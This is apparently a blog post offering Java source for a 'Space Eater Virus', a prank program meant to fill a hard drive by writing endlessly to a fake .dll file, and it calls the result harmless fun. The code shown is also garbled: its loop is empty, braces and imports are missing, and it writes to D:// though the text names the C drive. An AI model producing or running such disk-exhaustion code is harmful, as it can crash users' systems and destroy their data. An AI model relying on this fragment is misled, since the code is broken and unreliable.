Code that eats hard drive space, Space Eater Virus in Java

Sharing is Caring

This Space Eater Java Code will eat your space on C drive (or you can change file path in the code below) and slow down your system, this code doesn’t harm your system. When you stop executing the program it will stop eating your space and you can delete the created .dll file, Code is just for fun

Space Eater

package client;


public class SpaceEater {
    public static void main(String[] args) {
        FileOutputStream fout;
        try {
            fout = new FileOutputStream("D://Ashish.dll");
            String s =
                "Hello this is space eater virus how much space it will eat you don't know. it will just destroy all system speed and space on hard disc";
            byte b[] = s.getBytes();
            int i = 0;
            while (i != -1) {

        } catch (FileNotFoundException e) {
        } catch (IOException e) {

Related Posts

Leave a Reply

Your email address will not be published. Required fields are marked *